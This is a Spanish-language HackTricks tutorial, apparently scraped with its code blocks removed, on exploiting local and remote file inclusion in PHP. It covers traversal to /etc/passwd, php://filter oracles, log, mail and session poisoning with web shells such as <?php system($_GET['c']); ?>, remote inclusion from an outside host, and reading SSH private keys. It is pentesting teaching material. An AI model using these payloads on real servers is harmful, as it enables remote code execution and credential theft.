File Inclusion/Path traversal
Last updated
Last updated
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Únete al Discord de HackenProof para comunicarte con hackers experimentados y cazadores de bugs.
Perspectivas de Hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking.
Noticias de Hackeo en Tiempo Real Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
Últimos Anuncios Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
Inclusión de Archivos Remotos (RFI): El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include). Inclusión de Archivos Locales (LFI): El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
Funciones PHP vulnerables: require, require_once, include, include_once
Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap
Combinando varias listas de LFI de *nix y añadiendo más rutas he creado esta:
Intenta también cambiar / por \
Intenta también añadir ../../../../../
Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para verificar si la vulnerabilidad existe) se puede encontrar aquí
Fusión de diferentes listas de palabras:
Intenta también cambiar / por \
Intenta también eliminar C:/ y añadir ../../../../../
Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para verificar si la vulnerabilidad existe) se puede encontrar aquí
Revisa la lista de LFI de linux.
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (página=http://myserver.com/phpshellcode.txt\.
Eludir la adición de más caracteres al final de la cadena proporcionada (eludir: $_GET['param']."php")
Esto está resuelto desde PHP 5.4
Podrías usar codificaciones no estándar como la doble codificación URL (y otras):
Quizás el back-end esté verificando la ruta de la carpeta:
El sistema de archivos de un servidor puede ser explorado recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
Determinar la Profundidad del Directorio: Asegúrate de la profundidad de tu directorio actual obteniendo con éxito el archivo /etc/passwd (aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
Probar carpetas: Agrega el nombre de la carpeta sospechosa (por ejemplo, private) a la URL, luego navega de regreso a /etc/passwd. El nivel de directorio adicional requiere incrementar la profundidad en uno:
Interpretar los Resultados: La respuesta del servidor indica si la carpeta existe:
Error / Sin Salida: La carpeta private probablemente no existe en la ubicación especificada.
Contenido de /etc/passwd: Se confirma la presencia de la carpeta private.
Exploración Recursiva: Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Local (LFI).
Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si /var/www/ contiene un directorio private (suponiendo que el directorio actual está a una profundidad de 3), usa:
El truncamiento de ruta es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, aún apunte al archivo deseado.
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
/etc/passwd, /etc//passwd, /etc/./passwd, y /etc/passwd/ son tratados como la misma ruta.
Cuando los últimos 6 caracteres son passwd, añadir un / (haciéndolo passwd/) no cambia el archivo objetivo.
De manera similar, si se añade .php a una ruta de archivo (como shellcode.php), agregar un /. al final no alterará el archivo que se está accediendo.
Los ejemplos proporcionados demuestran cómo utilizar el truncamiento de ruta para acceder a /etc/passwd, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
Uso de segmentos de punto y caracteres adicionales: Las secuencias de travesía (../) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
Determinando el número requerido de travesías: A través de prueba y error, se puede encontrar el número preciso de secuencias ../ necesarias para navegar hasta el directorio raíz y luego a /etc/passwd, asegurando que cualquier cadena añadida (como .php) sea neutralizada pero que la ruta deseada (/etc/passwd) permanezca intacta.
Comenzando con un directorio falso: Es una práctica común comenzar la ruta con un directorio que no existe (como a/). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
Esta vulnerabilidad fue corregida en PHP 5.3.
En php esto está deshabilitado por defecto porque allow_url_include está Apagado. Debe estar Encendido para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
Si por alguna razón allow_url_include está Activado, pero PHP está filtrando el acceso a páginas web externas, según esta publicación, podrías usar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en b64 y obtener RCE:
En el código anterior, el +.txt final se agregó porque el atacante necesitaba una cadena que terminara en .txt, por lo que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
Otro ejemplo sin usar el protocolo php:// sería:
En python en un código como este:
Si el usuario pasa una ruta absoluta a file_name, la ruta anterior se elimina:
Es el comportamiento previsto según la documentación:
Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
Parece que si tienes una Traversal de Ruta en Java y pides un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no sucederá en otros lenguajes (hasta donde sé).
Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de enlace):
Los filtros de PHP permiten realizar operaciones de modificación básicas sobre los datos antes de que sean leídos o escritos. Hay 5 categorías de filtros:
string.rot13
string.toupper
string.tolower
string.strip_tags: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.* : Transforma a una codificación diferente (convert.iconv.<input_enc>.<output_enc>). Para obtener la lista de todas las codificaciones soportadas, ejecuta en la consola: iconv -l
Abusando del filtro de conversión convert.iconv.* puedes generar texto arbitrario, lo que podría ser útil para escribir texto arbitrario o hacer que una función como incluir procese texto arbitrario. Para más información, consulta LFI2RCE a través de filtros php.
zlib.deflate: Comprime el contenido (útil si se exfiltra mucha información)
zlib.inflate: Descomprime los datos
mcrypt.* : Obsoleto
mdecrypt.* : Obsoleto
Otros Filtros
Ejecutando en php var_dump(stream_get_filters()); puedes encontrar un par de filtros inesperados:
consumed
dechunk: revierte la codificación HTTP en fragmentos
convert.*
La parte "php://filter" no distingue entre mayúsculas y minúsculas
En esta publicación se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una exfiltración booleana del archivo (carácter por carácter) usando filtros php como oráculo. Esto se debe a que los filtros php pueden ser utilizados para hacer que un texto sea lo suficientemente grande como para que php lance una excepción.
En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí hay un resumen rápido:
Usa el códec UCS-4LE para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
Esto se usará para generar un texto tan grande cuando la letra inicial se adivina correctamente que php desencadenará un error.
El filtro dechunk eliminará todo si el primer carácter no es un hexadecimal, por lo que podemos saber si el primer carácter es hexadecimal.
Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php falle.
El códec convert.iconv.UNICODE.CP930 transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una a, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y el error de php se desencadena porque se multiplica con la bomba inicial.
Usando otras transformaciones como rot13 al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
El problema final es ver cómo filtrar más que la letra inicial. Al usar filtros de memoria ordenada como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
Y para poder obtener más datos la idea es generar 2 bytes de datos basura al principio con convert.iconv.UTF16.UTF16, aplicar UCS-4LE para hacer que se pivotee con los siguientes 2 bytes, y eliminar los datos hasta los datos basura (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
En la publicación también se filtró una herramienta para realizar esto automáticamente: php_filters_chain_oracle_exploit.
Este envoltorio permite acceder a descriptores de archivos que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
Puedes usar también php://stdin, php://stdout y php://stderr para acceder a los descriptores de archivo 0, 1 y 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él. Para poder abusar del protocolo rar, debe ser activado específicamente.
Nota que este protocolo está restringido por las configuraciones de php allow_url_open y allow_url_include
Expect debe estar activado. Puedes ejecutar código usando esto:
Especifica tu payload en los parámetros POST:
Un archivo .phar puede ser utilizado para ejecutar código PHP cuando una aplicación web aprovecha funciones como include para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo .phar:
Para compilar el archivo .phar, se debe ejecutar el siguiente comando:
Al ejecutar, se creará un archivo llamado test.phar, que podría aprovecharse para explotar vulnerabilidades de Inclusión de Archivos Locales (LFI).
En casos donde el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), o filesize(), se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo phar.
Para una comprensión detallada de la explotación de vulnerabilidades de deserialización en el contexto de archivos .phar, consulte el documento vinculado a continuación:
Guía de Explotación de Deserialización de Phar
phar:// deserializationFue posible abusar de cualquier archivo arbitrario leído desde PHP que soporte filtros php para obtener un RCE. La descripción detallada se puede encontrar en esta publicación.
Resumen muy rápido: se abusó de un desbordamiento de 3 bytes en el heap de PHP para alterar la cadena de bloques libres de un tamaño específico con el fin de poder escribir cualquier cosa en cualquier dirección, por lo que se agregó un gancho para llamar a system.
Fue posible asignar bloques de tamaños específicos abusando de más filtros php.
Ver más posibles protocolos para incluir aquí:
php://memory y php://temp — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
file:// — Accediendo al sistema de archivos local
http:// — Accediendo a URLs HTTP(s)
ftp:// — Accediendo a URLs FTP(s)
zlib:// — Flujos de compresión
glob:// — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, así que no es realmente útil aquí)
ssh2:// — Secure Shell 2
ogg:// — Flujos de audio (no útil para leer archivos arbitrarios)
Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de recorrido de directorios como ".." se está verificando pero no se sanitiza adecuadamente.
Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido de directorios de la siguiente manera:
Mientras que esto tiene como objetivo detener la traversión, inadvertidamente crea un vector para la inyección de código. Para explotar esto para leer el contenido de archivos, un atacante podría usar:
De manera similar, para ejecutar comandos del sistema arbitrarios, se podría usar:
Es importante codificar en URL estas cargas útiles.
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!
Perspectivas de Hacking Participa en contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
Esta técnica es relevante en casos donde controlas la ruta del archivo de una función PHP que accederá a un archivo pero no verás el contenido del archivo (como una simple llamada a file()) pero el contenido no se muestra.
En esta increíble publicación se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para exfiltrar el contenido de un archivo a través de un oráculo de errores.
En resumen, la técnica utiliza la codificación "UCS-4LE" para hacer que el contenido de un archivo sea tan grande que la función PHP que abre el archivo desencadene un error.
Luego, para filtrar el primer carácter, se utiliza el filtro dechunk junto con otros como base64 o rot13 y finalmente se utilizan los filtros convert.iconv.UCS-4.UCS-4LE y convert.iconv.UTF16.UTF-16BE para colocar otros caracteres al principio y filtrarlos.
Funciones que podrían ser vulnerables: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (solo objetivo de lectura con esto), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
¡Para los detalles técnicos consulta la publicación mencionada!
Explicado anteriormente, sigue este enlace.
Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función de inclusión, podrías intentar acceder a /var/log/apache2/access.log o /var/log/nginx/access.log, estableciendo dentro del agente de usuario o dentro de un parámetro GET un shell PHP como <?php system($_GET['c']); ?> e incluir ese archivo
Ten en cuenta que si usas comillas dobles para el shell en lugar de comillas simples, las comillas dobles se modificarán para la cadena "quote;", PHP lanzará un error allí y nada más se ejecutará.
Además, asegúrate de escribir correctamente la carga útil o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
Esto también podría hacerse en otros registros, pero ten cuidado, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado autorización "basic" contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado. Otras posibles rutas de registro:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Envía un correo a una cuenta interna (user@localhost) que contenga tu carga útil PHP como <?php echo system($_REQUEST["cmd"]); ?> e intenta incluir en el correo del usuario con una ruta como /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>
Sube muchas shells (por ejemplo: 100)
Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del proceso (se puede forzar por fuerza bruta) y $FD el descriptor de archivo (también se puede forzar por fuerza bruta)
Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ
Si puedes subir un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: <?php system($_GET['c']); ?>).
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
Sube un archivo ZIP que contenga un shell PHP comprimido y accede:
Verifica si el sitio web utiliza sesiones PHP (PHPSESSID)
En PHP, estas sesiones se almacenan en /var/lib/php5/sess\[PHPSESSID]_ archivos.
Establezca la cookie en <?php system('cat /etc/passwd');?>
Usa el LFI para incluir el archivo de sesión PHP
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status & /etc/passwd) y trata de acceder a <HOME>/.ssh/id_rsa
Los registros para el servidor FTP vsftpd se encuentran en /var/log/vsftpd.log. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Local (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
Inyectar una carga útil de PHP en el campo de nombre de usuario durante el proceso de inicio de sesión.
Después de la inyección, utilizar el LFI para recuperar los registros del servidor de /var/log/vsftpd.log.
Como se muestra en este artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar eso para eludir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de carga útil:
Este informe explica que puedes usar filtros php para generar contenido arbitrario como salida. Lo que básicamente significa que puedes generar código php arbitrario para la inclusión sin necesidad de escribirlo en un archivo.
LFI2RCE via PHP FiltersSube un archivo que se almacenará como temporal en /tmp, luego en la misma solicitud, provoca un fallo de segmentación, y luego el archivo temporal no será eliminado y podrás buscarlo.
Si encontraste una Inclusión de Archivos Locales y Nginx está ejecutándose frente a PHP, podrías obtener RCE con la siguiente técnica:
LFI2RCE via Nginx temp filesSi encontraste una Inclusión de Archivos Locales incluso si no tienes una sesión y session.auto_start está Desactivado. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS en datos multipart POST, PHP habilitará la sesión para ti. Podrías abusar de esto para obtener RCE:
Si encontraste una Inclusión de Archivos Locales y el servidor está ejecutándose en Windows, podrías obtener RCE:
LFI2RCE Via temp file uploads
pearcmd.php + argumentos de URLComo se explica en esta publicación, el script /usr/local/lib/phppearcmd.php existe por defecto en imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un =, debe usarse como un argumento.
La siguiente solicitud crea un archivo en /tmp/hello.php con el contenido <?=phpinfo()?>:
El siguiente abuso de una vulnerabilidad CRLF para obtener RCE (de aquí):
Si encontraste una Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on, puedes obtener RCE:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO + Divulgación de RutaSi encontraste una Local File Inclusion y puedes exfiltrar la ruta del archivo temporal PERO el servidor está verificando si el archivo a incluir tiene marcas de PHP, puedes intentar eludir esa verificación con esta Condición de Carrera:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureSi puedes abusar de la LFI para subir archivos temporales y hacer que el servidor congele la ejecución de PHP, podrías entonces fuerza bruta los nombres de archivos durante horas para encontrar el archivo temporal:
LFI2RCE via Eternal waitingSi incluyes cualquiera de los archivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Necesitas incluir el mismo dos veces para provocar ese error).
No sé cuán útil es esto, pero podría serlo. &#xNAN;E incluso si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados.
Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs.
Perspectivas de Hacking Interactúa con contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
